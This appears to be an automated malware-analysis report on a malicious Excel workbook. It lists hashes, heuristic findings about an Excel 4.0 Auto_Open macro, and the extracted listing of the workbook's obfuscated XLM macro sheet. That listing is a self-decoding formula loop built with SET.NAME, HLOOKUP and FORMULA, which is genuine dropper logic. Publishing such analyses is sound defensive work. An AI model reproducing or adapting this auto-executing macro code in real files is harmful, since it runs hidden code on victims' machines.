Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bef72fb52a6657ae…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:45:06 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 860a5fa6bd4005ba27778bb76e360f9c SHA-1: 6acfbb6205c7f6c922857bf4fb44b504df1d2ab9 SHA-256: bef72fb52a6657aef445078b4dfbe777f008971f34dc56f72b4dbe3b3bcf5cd6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6775 bytes
SHA-256: 5a510d7f210cb1dde43ffc58fb8d7f06b360b80ffa54f662ac317d5560d9c36d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qWRcjmpzIZK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F151 
' 0018     25 LABEL : Cell Value, String Constant - BeLuIsvgIM len=0 
' 0018     25 LABEL : Cell Value, String Constant - BjBWOhPIsX len=0 
' 0018     21 LABEL : Cell Value, String Constant - BwVAAc len=0 
' 0018     25 LABEL : Cell Value, String Constant - CmeCeWsizX len=0 
' 0018     25 LABEL : Cell Value, String Constant - EJAVgEbTxj len=0 
' 0018     25 LABEL : Cell Value, String Constant - gXxmVeUYMt len=0 
' 0018     20 LABEL : Cell Value, String Constant - hsaSC len=0 
' 0018     20 LABEL : Cell Value, String Constant - iKYPA len=0 
' 0018     21 LABEL : Cell Value, String Constant - jBuojG len=0 
' 0018     26 LABEL : Cell Value, String Constant - JyWHcprWhtM len=0 
' 0018     26 LABEL : Cell Value, String Constant - KfmxrThJbkm len=0 
' 0018     21 LABEL : Cell Value, String Constant - meQDRS len=0 
' 0018     26 LABEL : Cell Value, String Constant - NrFdFaSTwGc len=0 
' 0018     27 LABEL : Cell Value, String Constant - OaSVbqotpOBX len=0 
' 0018     25 LABEL : Cell Value, String Constant - ugknTVNeDU len=0 
' 0018     23 LABEL : Cell Value, String Constant - vfzAWsLo len=0 
' 0018     27 LABEL : Cell Value, String Constant - VQWYYfNAjYhB len=0 
' 0018     21 LABEL : Cell Value, String Constant - WiHNpg len=0 
' 0018     27 LABEL : Cell Value, String Constant - xfyDhanOxhKd len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZiohZc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qWRcjmpzIZK,F58,"SET.NAME("OaSVbqotpOBX",VALUE("0"))",""
'  qWRcjmpzIZK,F62,"SET.NAME("iKYPA",OaSVbqotpOBX)",""
'  qWRcjmpzIZK,F66,"SET.NAME("vfzAWsLo",OaSVbqotpOBX)",""
'  qWRcjmpzIZK,F68,"SET.NAME("KfmxrThJbkm",COUNTA(BeLuIsvgIM))",""
'  qWRcjmpzIZK,F72,"SET.NAME("EJAVgEbTxj",COUNTA(BwVAAc))",""
'  qWRcjmpzIZK,F76,[],""
'  qWRcjmpzIZK,F79,"SET.NAME("CmeCeWsizX","")",""
'  qWRcjmpzIZK,F81,"iKYPA",""
'  qWRcjmpzIZK,F83,"SET.NAME("BjBWOhPIsX",HLOOKUP("*",BeLuIsvgIM,iKYPA,FALSE))",""
'  qWRcjmpzIZK,F85,"ZiohZc",""
'  qWRcjmpzIZK,F89,"SET.NAME("meQDRS",OaSVbqotpOBX)",""
'  qWRcjmpzIZK,F92,[],""
'  qWRcjmpzIZK,F97,"meQDRS",""
'  qWRcjmpzIZK,F101,"jBuojG",""
'  qWRcjmpzIZK,F106,"JyWHcprWhtM",""
'  qWRcjmpzIZK,F108,"ugknTVNeDU",""
'  qWRcjmpzIZK,F113,"SET.NAME("hsaSC",VALUE(HLOOKUP("*",BwVAAc,ugknTVNeDU,FALSE)))",""
'  qWRcjmpzIZK,F117,"xfyDhanOxhKd",""
'  qWRcjmpzIZK,F121,"CmeCeWsizX",""
'  qWRcjmpzIZK,F124,"vfzAWsLo",""
'  qWRcjmpzIZK,F126,NEXT(),""
'  qWRcjmpzIZK,F130,"WiHNpg",""
'  qWRcjmpzIZK,F135,"SET.NAME("f",INT(T(FORMULA(T(CmeCeWsizX)&"",""&T(WiHNpg)))))",""
'  qWRcjmpzIZK,F140,"gXxmVeUYMt",""
'  qWRcjmpzIZK,F143,NEXT(),""
'  qWRcjmpzIZK,F148,RETURN(),""
'  qWRcjmpzIZK,F173,"SET.NAME("NrFdFaSTwGc",F58)",""
'  qWRcjmpzIZK,F178,"BeLuIsvgIM",""
'  qWRcjmpzIZK,F180,"SET.NAME("BwVAAc",R63C15)",""
'  qWRcjmpzIZK,F183,"SET.NAME("gXxmVeUYMt",191)",""
'  qWRcjmpzIZK,F185,"SET.NAME("VQWYYfNAjYhB",6)",""
'  qWRcjmpzIZK,F190,NrFdFaSTwGc(),""
'  qWRcjmpzIZK,F191,HALT(),""